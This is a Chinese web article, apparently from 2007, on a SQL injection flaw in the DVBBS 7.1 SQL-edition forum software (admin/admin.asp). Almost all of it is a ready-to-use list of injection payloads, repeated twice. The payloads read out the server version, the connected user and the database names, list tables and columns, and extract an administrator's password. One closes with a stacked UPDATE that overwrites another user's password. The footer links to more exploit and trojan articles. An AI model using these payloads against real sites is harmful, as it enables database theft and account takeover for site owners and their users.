DVBBS7.1 SQL版 跨庫(kù)漏洞
更新時(shí)間:2007年01月16日 00:00:00 作者:
漏洞測(cè)試環(huán)境:DVBBS7.1 SQL
受影響文件
admin/admin.asp
.....
漏洞利用
(select @@version)>0 獲得Windows的版本號(hào)
and user_name()='dbo' 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa
(select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶
(select db_name())>0 得到當(dāng)前連接的數(shù)據(jù)庫(kù)
(select IS_MEMBER('db_owner')) --查詢數(shù)據(jù)庫(kù)當(dāng)前用戶權(quán)限
(select count(*) from master.dbo.sysdatabases where name>1 and dbid=7) ---查詢所有數(shù)據(jù)庫(kù)名
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U') --查詢數(shù)據(jù)庫(kù)表名
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U' and name not in ('web_Admin')) --查詢數(shù)據(jù)庫(kù)所有表名
(select count(*) from JxSoufun.dbo.sysobjects where xtype='U' and name='web_Admin' and uid>(str(id))) --查詢表名ID
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048) --查詢字段名
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048 and name not in('adminname')) --查詢所有字段名
(select count(*) from JxSoufun.dbo.web_Admin where AdminName>1) -查詢用戶
(select count(*) from JxSoufun.dbo.web_Admin where Adminpwd>1 and username='bluefire') -查詢用戶bluefire密碼
;update JxSoufun.dbo.Agency_User set userpwd='965eb72c92a549dd' where username='mthfc';--
受影響文件
admin/admin.asp
.....
漏洞利用
(select @@version)>0 獲得Windows的版本號(hào)
and user_name()='dbo' 判斷當(dāng)前系統(tǒng)的連接用戶是不是sa
(select user_name())>0 爆當(dāng)前系統(tǒng)的連接用戶
(select db_name())>0 得到當(dāng)前連接的數(shù)據(jù)庫(kù)
(select IS_MEMBER('db_owner')) --查詢數(shù)據(jù)庫(kù)當(dāng)前用戶權(quán)限
(select count(*) from master.dbo.sysdatabases where name>1 and dbid=7) ---查詢所有數(shù)據(jù)庫(kù)名
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U') --查詢數(shù)據(jù)庫(kù)表名
(select top 1 name from JxSoufun.dbo.sysobjects where xtype='U' and name not in ('web_Admin')) --查詢數(shù)據(jù)庫(kù)所有表名
(select count(*) from JxSoufun.dbo.sysobjects where xtype='U' and name='web_Admin' and uid>(str(id))) --查詢表名ID
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048) --查詢字段名
(select top 1 name from JxSoufun.dbo.syscolumns where id=1125579048 and name not in('adminname')) --查詢所有字段名
(select count(*) from JxSoufun.dbo.web_Admin where AdminName>1) -查詢用戶
(select count(*) from JxSoufun.dbo.web_Admin where Adminpwd>1 and username='bluefire') -查詢用戶bluefire密碼
;update JxSoufun.dbo.Agency_User set userpwd='965eb72c92a549dd' where username='mthfc';--
相關(guān)文章
動(dòng)網(wǎng)access版暴log庫(kù)終極
動(dòng)網(wǎng)access版暴log庫(kù)終極2007-01-01新興木馬NameLess BackDoor復(fù)仇記(圖)
新興木馬NameLess BackDoor復(fù)仇記(圖)...2007-01-01phpwind管理權(quán)限泄露漏洞利用程序發(fā)布
phpwind是國(guó)內(nèi)使用非常廣泛的一款程序,由于在程序設(shè)計(jì)上存在錯(cuò)誤,導(dǎo)致任何人可以取得前臺(tái)管理員及斑主權(quán)限,做刪除帖子等任意操作2008-06-06動(dòng)網(wǎng)7.x權(quán)限提升漏洞原理
動(dòng)網(wǎng)7.x權(quán)限提升漏洞原理...2007-01-01